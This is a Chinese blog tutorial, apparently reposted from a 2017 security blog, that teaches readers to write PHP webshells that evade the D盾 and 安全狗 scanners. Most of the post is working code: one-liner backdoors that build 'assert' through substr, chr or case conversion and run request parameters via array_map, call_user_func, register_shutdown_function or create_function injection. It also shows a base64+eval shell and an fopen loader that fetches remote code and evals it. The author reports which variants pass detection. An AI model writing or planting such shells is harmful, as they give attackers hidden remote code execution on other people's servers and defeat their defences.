原文链接:http://www.inksec.cn/2017/11/06/bypass_shell_4/
Prat 0 自白在初入Web渗透测试的时候,发现Waf如同无法跨过的鸿沟,每一次学习就是对鸿沟的填充。
借用某大牛对曾经年少的自己说的一句话:
自己真正学到的才是自己的财富!只是一味的盗版,不懂得学习的那叫小学生!
自己新成立了一个团队,名为OneT挺开心的,觉得放出一些自己的学习经验跟想法是及其不错的。
本文文字偏多,如果你潜心看完,相信一句话bypass,对你来说根本不是什么难事。
本文通过三部分来写:起源,一句话Bypass, Php大马Bypass
因为Bypass安全狗可以说是非常简单的,所以本文主要目标以D盾作为绕过基础。
顺便一提:本文中的某个思路或许已经被公布,但是我阅历比较少,并不知道,如果有重复的,可以提出来,贴上地址~
我自己公布的就算了,毕竟这是一篇总结与扩展。 Prat 1 起源1:建立一个明确的目标
一句话原型:代码执行函数(参数接收);
所以我们不管怎么处理,怎么去优化,最后的代码让他变成原型就可以了。
在学习bypass之前,我建议去了解一下php,这是bypass的开端。
2:大胆的想法
有了目标肯定是远远不够的,不能局限前人的思路,要有自己开阔的思路,可以从前人的思路变种,也可以自己思考。
3:实现自己的目标跟想法
既然以及了解了自己的目标,那么就该一步步的实现它,例如这个函数被查杀了,那么换一个函数呢?换一个函数不行那么换一个写法呢?条条大路通罗马,总有一个是可以的。 Prat 2 一句话BypassD盾当时行为库:
首先看一句话原型: 思路一:字符串截取+回调首先看一下介绍 - Substr() //返回字符串的一部分
- Array_map() //将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组
复制代码这个思路其实在博客当中就有提过,不过是不过D盾的 - <?php
- $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
- $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
- $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
- $ss = $a.$b.$c;
- $d = $ss[0].$ss[2].$ss[2]; //ass
- $dd = $ss[5].$ss[1].$ss[3]; //ert
- $x = $d.$dd;
- $x($_POST['x']);
- ?>
复制代码首先看思路原型: - $a = a //从字符串的第0个字符开始截取,向右截取1个字符
- $b = rst //从字符串的第17个字符开始截取,向右截取3个字符
- $c = de //从字符串的第17个字符开始截取,向右截取3个字符
- $ss = arstde //为三个变量的拼接的来
复制代码那么过程就很好理解: - $d = ass //分别截取$ss的第0,2,2字符
- $dd = ert //分别截取$ss的第5,1,3字符
- 最后拼接成assert
复制代码但是这样只能过狗,不能过D盾
之前就已经说了,这思路行不通,那么在原有的思路在扩展一下呢?
我们来把substr函数返回的assert封装成新的方法,在调用看看效果如何 - function test($D) //定义一个名为test的函数,并使用$D接收参数
- {
- $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
- $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
- $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
- $ss = $a.$b.$c;
- $d = $ss[0].$ss[2].$ss[2]; //ass
- $dd = $ss[5].$ss[1].$ss[3]; //ert
- $x = $d.$dd;
- $x($D); //assert执行接收的参数
- }
- test($_GET['x']); //assert($_GET[‘x’]);
复制代码
虽然还是被杀,不过发现级别已经降低为二级了,他现在杀的只不过是变量而已,也就是
$x($D);
为什么杀呢?因为D盾中不允许这样做,不管你有没有危害都会拦截
可以看见,我里面$d($dd);什么都没有,但是他还是报二级了。
接下来怎么处理呢?还是从原来思路上扩展,既然不允许那就换一个思路,我们采用回调- function test($aa)
- {
- $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
- $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
- $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
- $ss = $a.$b.$c;
- $d = $ss[0].$ss[2].$ss[2]; //ass
- $dd = $ss[5].$ss[1].$ss[3]; //ert
- $x = $d.$dd;
- return $x; //返回assert
- }
- $test = test(); //把test()函数存入test变量中
- array_map($test,array($_GET['x'])); //array_map函数回调
复制代码但是发现D盾还是报二级了。
不过这次报的就很好处理了,可以看见,他报的array_map参数里面的东西很可疑,可疑
其实有个很好的办法解决,那就是加个赋值,例如:
array_map($test,array($_GET[‘x’]));我们改为array_map($DD =$test,$d = array($_GET[‘x’]));
我们在测一下
还是报二级,不过别着急,我们把array($_GET[‘x’])先拿出来进行一个赋值在里面在一个赋值
看看会怎么样。
可以发现D盾出奇的不拦截了。
可以正常使用。 思路小结在字符串返回思路行不通后,可以使用回调来进行一个绕过,在函数里面赋值可以用来解决许多可疑变量。 思路二:字符串截取(变种)+回调这次思路其实属于换汤不换药。
写之前首先我们要熟悉一下Ascii码表
我们不需要知道这么多,够我们用的就好 - 97 = a
- 115 = s
- 101 = e
- 114 = r
- 116 = t
复制代码我们可以写的风骚一点 - $a = chr(substr("97115101114116",0,2));
- $b = chr(substr("97115101114116",2,3));
- $c = chr(substr("97115101114116",2,3));
- $d = chr(substr("97115101114116",5,3));
- $e = chr(substr("97115101114116",8,3));
- $f = chr(substr("97115101114116",11,3));
- $x = $a.$b.$c.$d.$e.$f;
- $x($_GET['x']);
复制代码这样当然是不会过D盾的,不过安全狗肯定可以过的。
我们可以依葫芦画瓢用回调来处理。
最终成果: - <?php
- function test($aa)
- {
- $a = chr(substr("97115101114116",0,2));
- $b = chr(substr("97115101114116",2,3));
- $c = chr(substr("97115101114116",2,3));
- $d = chr(substr("97115101114116",5,3));
- $e = chr(substr("97115101114116",8,3));
- $f = chr(substr("97115101114116",11,3));
- $x = $a.$b.$c.$d.$e.$f;
- return $x;
- }
- $test = test();
- $ddd =array($_GET['x']);
- array_map($D = $test,$DD = $ddd );
- ?>
复制代码
可以正常使用,并且过了D盾。
当然,我们可以写的更简单一点。- <?php
- function test($aa)
- {
- $a = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
- return $a;
- }
- $test = test();
- $ddd =array($_GET['x']);
- array_map($D = $test,$DD = $ddd );
- ?>
复制代码连截取都不要了,但是一样可以正常使用,并且过了D盾。
思路小节整个过程就跟思路一一摸一样,只不过思路一是直接返回的字符,而这边却加了一层chr而已。
所以可以被称之为变种,换汤不换药。 思路三:chr()+小写转换+回调(变种)看完思路二,发现还可以根据chr再次扩展。 - <?php
- /*
- 97 = a 65 = A
- 115 = s 83 = S
- 101 = e 69 = E
- 114 = r 82 = R
- 116 = t 84 = T
- */
- $a = chr(65).chr(83).chr(83);//ASS
- $b = chr(69).chr(82).chr(84);//ERT
- $c = strtolower($a.$b);//assert
- $aa = array($_GET['x']);
- array_map($D = $c,$DD = $aa );
- //strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字
- //strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大
- ?>
复制代码还是换汤不换药,不过用了大写的Ascii码。
然后使用strtolower函数转换成小写。
思路小结你可以发现,我是一环环变种的,思路三变种思路二,思路二变种思路一。
可能有人会问我为什么要写变种,其实你可以侧面的理解为,我这是在告诉你:一种思路你可以通过千变万化的思路来扩展。 思路四:create_function函数看完简单的思路,我们来看一下深一点的思路。
array_flip()//用于反转/交换数组中所有的键名以及它们关联的键值,如果反转成功,则返回反转后的数组。如果失败,则返回 NULL。
首先我们要了解一下create_function函数是如何进行代码注入的(因为这不是本文需要讲的东西,大家可以上百度搜。) - <?php
- $a=array(";}$_GET[x];/*"=>"1");
- $b=array_flip($a);
- $c = $b[1];
- create_function('$args',$c);
- ?>
复制代码具体我就不讲了,等你百度完也就差不多知道思路了。 思路小结有时候可以借着php中一些能做代码执行的函数进行处理就能琢磨出来一大堆Bypass。
思路五:函数回调之前几种思路都有触及到函数回调,于是决定独立分一波来讲。 array_map()
- function a(){
- return 'assert';
- }
- $a=a();
- $aa = array($_GET['x']);
- array_map($a,$a=$aa);
复制代码array_map函数我就不过多的说了,毕竟前面也用到了许多。 call_user_func_array()
- function a(){
- return 'assert';
- }
- $a=a();
- $aa = array($_GET['x']);
- call_user_func_array($a,$a=$aa);
复制代码call_user_func_array可以说作用性跟array_map差不多,不过还是有一些不同。 call_user_func()
- function a(){
- return 'assert';
- }
- $a=a();
- $aa=$_GET['x'];
- call_user_func($a,$a=$aa);
复制代码用P牛博客上的一句话来说这算是回调后门的老祖宗了。 register_shutdown_function()
- $aa=$_GET['x'];
- register_shutdown_function('assert',$a=$aa);
复制代码这个函数其实我也不是很明确,从p牛上看到的,不过博客上的一句话已经不能用了,偷下来做了下处理 思路小结其实原理都差不多,如果你看不懂,没关系,去看一遍php,回来你就会发现这些是多么的简单,单单一个函数回调就能构造无数轮子。
丢上P牛讲解回调函数轮子的地址 最后总结一句话的思路千变万化,一个函数可以扩展无数思路。
你只需要大胆的假设,然后大胆的去做就可以了。 Prat 3 Php大马Bypass思路1:base64函数分割+大小写其实这个思路在上篇bypass文章我就已经做好了铺垫,因为是通用性,所以藏着到这篇文章来发。 - <?php
- $a = 'base64编码过后';
- $c = base64_decode($a);
- eval($d = $c);
- ?>
复制代码可以发现,这样D盾是报二级的。所以我们可以稍微处理下。 - $x="BaSe64";
- $b="_deCOde";
- $c=$x.$b; //base64_decode
- eval($d = $c('base64编码过后'));
复制代码明眼人就可以发现,其实我并没有改变多少代码,只是把Base64函数进行分割,然后大小写而已。
从而达到了过D盾的效果。如果没有进行大小写的话是被报二级的。
我想这应该是waf的缺陷导致bypass的原因。
思路2:fopen函数以及php_curl函数fopen()fopen在之前的文章也有提到过,不过太长,我这里简化一下。 - $handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
- $content = '';
- while(false != ($a = fread($handle, 8080))){
- $content .= $a;
- }
- print(eval($a=$content));
- fclose($handle);
复制代码 php_curl()其实跟fopen函数差不多,不过需要开启特定的函数,有人提过fopen似乎也要,不过在我仅有的shell中我并没发现出错。
因为都差不多,所以我这里也就不详细说了。提一下就好。例子等有机会再写。 总结用之前的话来说,条条大路通罗马,需要的只是耐心。
需要的只是大胆的假设,需要的只是实践的行动。
话不多说,明白就好。
或许文章看着并不长,案例也不多,也就十几个。
不过我希望看完这篇文章能开启你bypass之路的大门。
也能让你明白bypass并不是很困难。
当然,如果用心读的话(一边动手一边学习)。
|